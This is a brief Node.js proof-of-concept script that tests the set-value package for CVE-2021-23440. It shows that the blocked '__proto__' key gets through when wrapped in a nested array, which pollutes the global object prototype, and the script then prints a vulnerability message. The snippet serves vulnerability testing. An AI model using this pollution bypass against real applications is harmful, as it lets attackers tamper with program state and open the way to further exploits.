const set = require("set-value")

// set({}, ['__proto__','polluted'], 'yes');
// console.log(polluted); // Error: Cannot set unsafe key: "__proto__"

set({}, [['__proto__'],'polluted'], 'yes');
if(polluted && polluted === 'yes') {
  console.error('Vulnerable to CVE-2021-23440');
}
